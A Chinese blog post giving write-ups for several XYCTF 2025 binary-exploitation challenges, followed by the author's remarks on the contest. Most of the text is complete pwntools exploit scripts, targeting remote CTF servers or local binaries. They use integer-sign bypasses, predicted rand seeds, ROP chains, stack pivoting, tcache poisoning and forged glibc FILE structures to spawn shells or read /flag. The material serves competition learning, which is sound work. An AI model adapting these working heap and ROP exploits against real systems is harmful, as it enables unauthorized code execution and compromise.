XYCTF 2025 pwn方向部分题解
nailong

int -> uint 如果输入负数就可以绕过“太高了”
接下来0是读,1是写,程序开头给了栈地址
虽然用time0加随机数了,但是只要我们本地也同样跑个time0就可以生成一样的随机数
分别把几个变量写掉后弄出任意读写原语后写orw即可
exp:
from pwn import *
import ctypes
glibc = ctypes.CDLL("libc.so.6")  
glibc.srand(glibc.time(0))
filename='./nailong'
libc='./libc.so.6'
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
p=remote('47.94.172.18',20519)
e=ELF(filename)
libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
p.recvuntil('rbp + offset:')
offset = glibc.rand() % 0x1B0 + 80
rbp=int(p.recvuntil('end',drop=True),10)-offset
sla("lou_ma\n",'-1')
def r(offset):
    sla('bin/sh\n','1')
    sla('do?\n',str(offset))
def w(offset,content):
    sla('bin/sh\n','2')
    sla('do?',str(offset))
    sa('want',content)
print(hex(rbp))
stack=rbp
w(stack-0x8044,p32(-0x1000,sign="signed"))
w(stack-0x804C,p32(-0x1000,sign="signed"))
r(e.got['puts'])
paddr=u64(p.recv(6)+b'\x00\x00')
libcbase=paddr-libc.sym['puts']
print(hex(paddr))
rdi=libcbase+0x000000000002a3e5
rax=libcbase+0x0000000000045eb0
rsi=libcbase+0x000000000002be51
rdx_rbx=libcbase+0x00000000000904a9
sys_ret=libcbase+libc.search(asm('syscall;ret')).__next__()
ret=libcbase+0x000000000010f75b+1
binsh=libcbase+libc.search('/bin/sh').__next__()
# Rop=p64(rdi)+p64(binsh)+p64(saddr)
      # rdi
Rop=flat(
{
0x0:[p64(rdx_rbx),p64(0x100),p64(0),
p64(rdi),p64(0xffffff9c),p64(rax),p64(0x101),
p64(rsi),p64(rbp-0x4004),p64(sys_ret),            # rop
p64(rdi),p64(3),p64(rax),p64(0x0),p64(sys_ret),
p64(rax),p64(0x1),p64(rdi),p64(0x1),p64(sys_ret),
]
},filler=b'\x00')
w(rbp-0x4004,'/fla')
w(rbp-0x4000,'g\x00\x00')
for i in range(0,len(Rop),4):
    w(rbp+8+i,Rop[i:i+4])
pause()
w(stack-0x803C,p32(0,sign="signed"))
p.interactive()
libc-revenge
莫名其妙的一道题,运行时自动崩溃
修了一遍,结果原来是加难度,我还以为修自动崩溃呢
setvbuf设置了全缓冲
利用puts后rdx=1重置stdin缓冲即可
当然,想那么做需要控制一下rdi和rsi
利用这几个gadgets
0x000000000040117d : pop rbp ; ret
0x0000000000401180 : mov rdi, rsi ; ret
0x00000000004010eb : add rsi, qword ptr [rbp + 0x20] ; ret
0x00000000004010e4 : and rsi, 0 ; ret
然后用rsi、rbp在0x403F50构造出got表地址,传给rdi后调用puts
接着rdi变成stdout,rsi变成0
控制到setvbuf泄露libc地址
接下来栈迁移到bss直接打栈溢出即可
exp:
from pwn import *
filename='./attachment_new'
libc='./libc.so.6'
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
p=remote('47.94.204.178',36889)
e=ELF(filename)
libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
magic=0x00000000004011B7
vsys=0xffffffffff600000
si2di=0x0000000000401180
call_re=0x40129E
mov_di_jmp_ax=0x0000000000401107
clear_rsi=0x00000000004010e4
add_rsi=0x00000000004010eb
feof=0x000000000401090
fgetc=feof-0x10
puts=fgetc-0x10
setvbuf=0x0000000004010A0
rbp=0x000000000040117d
stdout=0x000000000404060
pay=b'\x00'*0x210+p64(0)+p32(0)+b'\x28'+p64(clear_rsi)+p64(rbp)+p64(0x403EF0-0x20+8)
pay+=p64(add_rsi)+p64(rbp)+p64(0x403F50-0x20+8)+p64(add_rsi)
pay+=p64(si2di)+p64(rbp)+p64(e.bss(0x900))+p64(puts)
pay+=p64(rbp)+p64(stdout-0x20)+p64(clear_rsi)+p64(add_rsi)+p64(si2di)+p64(magic)+p64(e.bss(0x900))+p64(0x401207)
sl(pay)
p.recvuntil('Revenge\n')
paddr=u64(p.recv(6)+b'\x00\x00')
libcbase=paddr-libc.sym['puts']
print(hex(libcbase))
rdi=0x000000000002a3e5+libcbase
binsh=libc.search('/bin/sh').__next__()+libcbase
saddr=libcbase+libc.sym['system']
pay=b'x'*0x210+p64(0)+p32(0)+b'\x28'+p64(rdi+1)+p64(rdi)+p64(binsh)+p64(saddr)
sl(pay)
p.interactive()
EZ3.0
救命我的程序怎么跑不起来
救命我的qemu怎么不起作用

诶,栈溢出?

诶,backdoor?
那不是秒了吗

可惜是ls,但是我们有

ROPgadgets不能使用,但是我们很轻松就能在backdoor下面找到gadgets

所以开个靶机直接打就行了,栈溢出的题,根本不需要本地调试!(大暴论)
from pwn import *
filename='./EZ3.0'
# libc=
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
# p=process(filename)
e=ELF(filename)
# libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p)
p=remote('47.94.103.208',26776)
useful=0x0411010
gadget=0x0400A20
saddr=0x0400B70
door=0x04009C8
# pay=b'x'*36+p32(gadget)+p32(saddr)+p32(useful)
pay=b'x'*36+p32(gadget)+p32(0xdeadbeaf)+p32(saddr)+p32(useful)
sl(pay)
p.interactive()
#p=remote()
我去,舟!
前面的寻访模拟器完全是摆设,哎ctf圈不要再蹭我们方舟了

一个小栈溢出呀
覆盖rbp -> bss栈迁移,然后在bss上写/bin/sh,就可以pop rdi再system乐
from pwn import *
filename='./arknights'
# libc=''
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
p=process(filename)
e=ELF(filename)
# libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
# gdb.attach(p,'set follow-fork-mode parent\ngo')
rdi=0x00000000004018e5
saddr=0x000000000401130
sl('')
sl('4')
sl('1')
pay=b'x'*0x40+p64(e.bss(0x408))+p64(0x0000000004018A8)
s(pay)
pay=b'/bin/sh\x00'*8+p64(0)+p64(rdi)+p64(e.bss(0x400-0x20))+p64(saddr)
sleep(0.1)
s(pay)
sleep(0.1)
sl('exec 1>&2')
p.interactive()
#p=remote()
heap2
朴实无华的板子题,free不清指针,没有edit也很简单呀
我去我板子坏了,这我得站起来打
- 队友:救命!本地打通,远程打不通。
 我:救命!板子坏了,把你们的板子给我啊啊啊啊啊啊!
 队友:天啊要没时间了,这难道就是传说中的。。。三角洲行动!!!!
 我:不是不是你快停下啊啊啊啊啊
 /* imiab退出了xyctf */
如何进行堆布局?
显然,要避免使用小堆块,不然会分配到莫名其妙的地方,或者说在我们进行free的时候,对应的tcache已经满了,导致我们的堆进入了奇怪的bins。
由于show和add都有截断,所以没办法直接泄露,但是uaf又弥补了这点,经过简单的布局,我们可以轻松地拿到libc和haddr
add(0x518) #0
add(0x508) #1
free(1)
free(0)
add(0x508) #2
add(0x518) #3
add(0x518) #4
free(3)
add(0x548) #5 ->let unsorted put into large
show(3) # -> libc
show(1) # -> haddr
# 0x518
# fd      bk       # fd      <- idx:3
# fd_next bk_next  # fd_next <- idx:1
然后,借用这个重叠,伪造tcache,free掉后直接打io list all
因为感觉在这种乱糟糟的布局里打large很糟心,而且我们也有足够的a数量去打tcache
一开始想要打stdout泄露env然后转打栈,但是失败了
io基础不牢固呃呃,不要拷打我口牙
最后就是无聊的调板子时间,因为fake io地址写错和magic填错了,结果没写出来
对的我在没有控制栈的情况下找带ret的gadgets
exp:
from pwn import *
filename='./heap2'
libc='./libc.so.6'
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
p=process(filename)
e=ELF(filename)
libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
gdb.attach(p,'b _IO_switch_to_wget_mode\ngo')
# p=remote('39.106.48.123',29826)
cmd = lambda choice: sa(b'> ', str(choice).encode())
def add(size, content=b'\x00'):
    cmd(1)
    sa(b'size: ', str(size).encode())
    sa(b'data: ', content)
def show(idx):
    cmd(2)
    sa(b'idx: ', str(idx).encode())
def free(idx):
    cmd(3)
    sa(b'idx: ', str(idx).encode())
add(0x518)#0
add(0x518)#1
add(0x518)#2
free(1)
show(1)
libcbase=u64(p.recv(6)+b'\x00\x00') - 0x203b20
env=libcbase+libc.sym['environ']
stdout=libcbase+libc.sym['_IO_list_all']
free(2)
free(0)
add(0x508)#3
add(0x528)#4
add(0x518)#5
free(4)
add(0x538)#6
show(1)
haddr=u64(p.recv(6)+b'\x00\x00')+0x20
add(0x528,p64(0)+p64(0x401))#7
add(0x3f1)#88
free(8)
free(1)
free(7)
add(0x528,p64(0)+p64(0x401)+p64((haddr>>12)^(stdout))) #9
add(0x3f8)
add(0x3f8,p64(haddr-0x10))
print(hex(libcbase))
print(hex(haddr))
magic=libcbase+0x00000000000a9b53
magic=0x000000000010d05b+libcbase
magic=0x0000000000176f0e+libcbase
fake_io=haddr-0x10
haddr=haddr-0x10
IO_wfile_jumps=libcbase+libc.sym['_IO_wfile_jumps']
setcontext_61=libcbase+libc.sym['setcontext']+61
rdi=libcbase+0x000000000010f75b
rax=libcbase+0x00000000000dd237
rsi=libcbase+0x0000000000110a4d
sys_ret=libcbase+0x000000000098FC5
ret=libcbase+0x000000000010f75b+1
saddr=libcbase+libc.sym['system']
binsh=libcbase+libc.search('/bin/sh').__next__()
Rop=p64(rdi)+p64(binsh)+p64(saddr)
orw=p64(setcontext_61)+p64(rdi)+p64(0xFFFFFF9C)
# 0x0    rdi             0x8   _IO_read_ptr
# 0x10  _IO_read_end     0x18  _IO_read_base
# 0x20  _IO_write_base   0x28  _IO_write_ptr
# 0x30  _IO_write_end    0x38  _IO_buf_base
# 0x40  _IO_buf_end      0x48  _IO_save_base
# 0x50  _IO_backup_base  0x58  _IO_save_end
# 0x60  _markers         0x68  _chain
# 0x70  _fileno          0x74  _flags2
# 0x78  _old_offset      0x80  _cur_column
# 0x82  _vtable_offset   0x83  _shortbuf
# 0x88  _lock            0x90  _offset
# 0x98  _codecvt         0xa0  _wide_data
# 0xa8  _freeres_list    0xb0  _freeres_buf
# 0xb8  __pad5           0xc0  _mode
# 0xc4  _unused2         0xd8  vtable
# magic:0x176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
pay=flat(
{
0x0:[b'/flag\x00'],     # rdi=binsh
0x20:[p64(0)],            # write_base
0x28:[p64(1)],            # write_ptr --> ptr > base
0xc0:[p64(0)],            # _mode <= 0
0xd8:[p64(IO_wfile_jumps+0x30)],
0x88:[p64(haddr+0x90),p64(0),p64(1)],   # bypass lock
0xA0:[p64(fake_io+0xA8),p64(0),p64(1)],
(0xA0+0x20):[p64(0)],
(0xA0+0x28):[p64(1)],            # bypass check in wfile_seekoff
(0xA0+0x30):[p64(1)],            # bypass check in wfile_seekoff
(0xB0+0xd8):[p64(fake_io+0xB0+0xd8)], # fake wfile vtable
(0xB0+0xd8+0x18):[p64(magic)],   # call entry
(0xB0+0xd8+0x18+0x20):[p64(fake_io+0xB0+0xd8+0x18+0x28)],
(0xB0+0xd8+0x18+0x48):[p64(setcontext_61)],
(0x1C8+0xA0):[p64(fake_io+0x280)],    # rsp
(0x1C8+0x68):[p64(0xffffff9c)],       # rdi
(0x1C8+0xA8):[p64(rax)],              # ret_addr
(0x1C8+0x88):[p64(0x100)],            # rdx
(0x1C8+0x70):[p64(fake_io)],          # rsi
(0x280):[p64(0x101),p64(sys_ret),            # rop
p64(rdi),p64(3),p64(rax),p64(0x0),p64(sys_ret),
p64(rax),p64(0x1),p64(rdi),p64(0x1),p64(sys_ret),
]
},filler=b'\x00')
free(7)
add(0x528,pay)
p.interactive()
#p=remote()
bot
protobuf逆出来以后是这样的:
syntax = "proto2";
message Message_request {
	required int32 id = 1;
	required string sender = 2;
	required uint32 len = 3;
	required bytes content = 4; 
	required int32 actionid = 5;
}
我以为actionid 1 是add,仔细检查发现是edit
呃,白给的任意读写,感觉随便打了
里面实现了一个类似影子栈的东西,但是感觉非常奇怪。
怎么会有人把内存管理和影子栈这两种功能写到一个结构体里的()
exp:
from pwn import *
import device_pb2
filename='./bot'
libc='./libc.so.6'
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
p=process(filename)
e=ELF(filename)
libc=ELF(libc)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
gdb.attach(p,"b _IO_flush_all_lockp\ngo")
def action1(idx,con,len):
    msg=device_pb2.Message_request()
    msg.id=idx
    msg.sender="admin"
    msg.len=len
    msg.content=con
    msg.actionid=1
    p.sendafter("TESTTESTTEST!",msg.SerializeToString())
def action2(idx):
    msg=device_pb2.Message_request()
    msg.id=idx
    msg.sender="admin"
    msg.actionid=2
    msg.len=100
    msg.content=b'a'
    p.sendafter("TESTTESTTEST!",msg.SerializeToString())
def action3():
    msg=device_pb2.Message_request()
    msg.id=0
    msg.sender="admin"
    msg.actionid=3
    msg.len=100
    msg.content=b'a'
    p.sendafter("TESTTESTTEST!",msg.SerializeToString())
action1(0,b'a'*0x18,0x18)
action2(2)
p.recvuntil("BOT MSG\n")
haddr=u64(p.recv(5)+b'\x00\x00\x00')*0x1000
print(hex(haddr))
action1(0,b'a'*0x18+p64(0x21)+p64(haddr+0x500)+p64(haddr+0x2A0),0x30)
action2(1)
p.recvuntil("BOT MSG\n")
libcbase=u64(p.recv(6)+b'\x00\x00')-0x29D90
action1(0,b'a'*0x18+p64(0x21)+p64(libcbase+0x29d90)+p64(libcbase+libc.sym['_IO_list_all']),0x30)
action1(1,p64(haddr+0x5000),8)
action1(0,b'a'*0x18+p64(0x21)+p64(libcbase+0x29d90)+p64(haddr+0x5000),0x30)
haddr=haddr+0x5000
fake_io=haddr
IO_wfile_jumps=libcbase+libc.sym['_IO_wfile_jumps']
setcontext_61=libcbase+libc.sym['setcontext']+61
rdi=libcbase+0x000000000010f75b
rax=libcbase+0x00000000000dd237
rsi=libcbase+0x0000000000110a4d
sys_ret=libcbase+0x000000000098FC5
ret=libcbase+0x000000000010f75b+1
binsh=libcbase+libc.search('/bin/sh').__next__()
saddr=libcbase+libc.sym['system']
Rop=p64(rdi)+p64(binsh)+p64(saddr)
orw=p64(setcontext_61)+p64(rdi)+p64(0xFFFFFF9C)
# 0x0    rdi             0x8   _IO_read_ptr
# 0x10  _IO_read_end     0x18  _IO_read_base
# 0x20  _IO_write_base   0x28  _IO_write_ptr
# 0x30  _IO_write_end    0x38  _IO_buf_base
# 0x40  _IO_buf_end      0x48  _IO_save_base
# 0x50  _IO_backup_base  0x58  _IO_save_end
# 0x60  _markers         0x68  _chain
# 0x70  _fileno          0x74  _flags2
# 0x78  _old_offset      0x80  _cur_column
# 0x82  _vtable_offset   0x83  _shortbuf
# 0x88  _lock            0x90  _offset
# 0x98  _codecvt         0xa0  _wide_data
# 0xa8  _freeres_list    0xb0  _freeres_buf
# 0xb8  __pad5           0xc0  _mode
# 0xc4  _unused2         0xd8  vtable
pay=flat(
{
0x0:[b'/bin/sh\x00'],     # rdi=binsh
0x20:[p64(0)],            # write_base
0x28:[p64(1)],            # write_ptr --> ptr > base
0xc0:[p64(0)],            # _mode <= 0
0xd8:[p64(IO_wfile_jumps+0x30)],
0x88:[p64(fake_io+0x88),p64(1)],   # bypass lock
0xA0:[p64(fake_io+0xA8),p64(0),p64(0)],
(0xA0+0x20):[p64(1)],
(0xA0+0x28):[p64(2)],            # bypass check in wfile_seekoff
(0xB0+0xd8):[p64(fake_io+0xB0+0xd8)], # fake wfile vtable
(0xB0+0xd8+0x18):[p64(saddr)],   # call entry
(0xB0+0xd8+0x18+0x20):[p64(fake_io+0xB0+0xd8+0x18+0x28)],
# (0xB0+0xd8+0x18+0x48):[p64(setcontext_61)],
# (0x1C8+0xA0):[p64(fake_io+0x280)],    # rsp
# (0x1C8+0x68):[p64(0xffffff9c)],       # rdi
# (0x1C8+0xA8):[p64(rax)],              # ret_addr
# (0x1C8+0x88):[p64(0x100)],            # rdx
# (0x1C8+0x70):[p64(fake_io)],          # rsi
# (0x280):[p64(0x101),p64(sys_ret),            # rop
# p64(rdi),p64(3),p64(rax),p64(0x0),p64(sys_ret),
# p64(rax),p64(0x1),p64(rdi),p64(0x1),p64(sys_ret),
# ]
},filler=b'\x00')
action1(1,pay,len(pay))
action3()
p.interactive()
一些碎碎念
第一次发博客,有点,紧张!
xyctf总体打下来
体验似乎不是很好哦
首先是ret2libc没有初始化变量,导致除ubuntu22.04以外系统打开程序都会直接崩溃。后面修了换了附件,结果貌似只修了本地setvbuf设置错的问题(我的猜测,实际上我也不知道修了什么)
然后是heap2拉下去,修了一整天才上来。
如此来看,第一天打的时候,pwn一共就4道题,结果有一半的题目是坏的,这让我对这个比赛产生了 极其严重的怀疑(我记得还有个pwn,64位程序发了32位ld,感觉出题人不是很上心呢哼哼)
而且还害我错过了阴间的一血,我的R.E.P.O呜呜呜呜
然后第二天我也不太想打,但是队长sama表示你不能不打啊,后面好多人在追呀,然后题目下下来一看
全是栈溢出,没绷住
更不想打了,从漏洞到利用,基本上看一眼就都想出来了(当然,一般来说有思路和有exp距离是很远的,但是这种一眼栈溢出,一眼栈迁移,只是调参数特别麻烦的题目......我是不太喜欢做)
然后xy期间还有另外一场ctf,我就去搞那个了,剩下两题摸了摸了。
本来这就是一场平平无奇的,pwn方向题目质量偏低的小比赛(←眼高手低大暴论),结果后来好像看到了什么不好的风言风语。但是我比较懒,就不管那么多了,呜呜还有好多东西要学,还是摸鱼ba(躺)
girlfriend思路
找女朋友这么麻烦,我不想找了(?)
选项1里面有栈溢出,选项3有非栈上格式化字符串和数组越界。选项3的数组越界可以让选项1和选项3多次调用。然后用fmt和残留参数泄露一下pie和libc,接下来就变成随便打环节了。
嗯,然后出题人再加了个沙箱,再没收了你的libc让你打远程泄露。虽然确实加大了难度,但是说实话......
(真的很没意思!!!)
 
                    
                
 
                
            
         浙公网安备 33010602011771号
浙公网安备 33010602011771号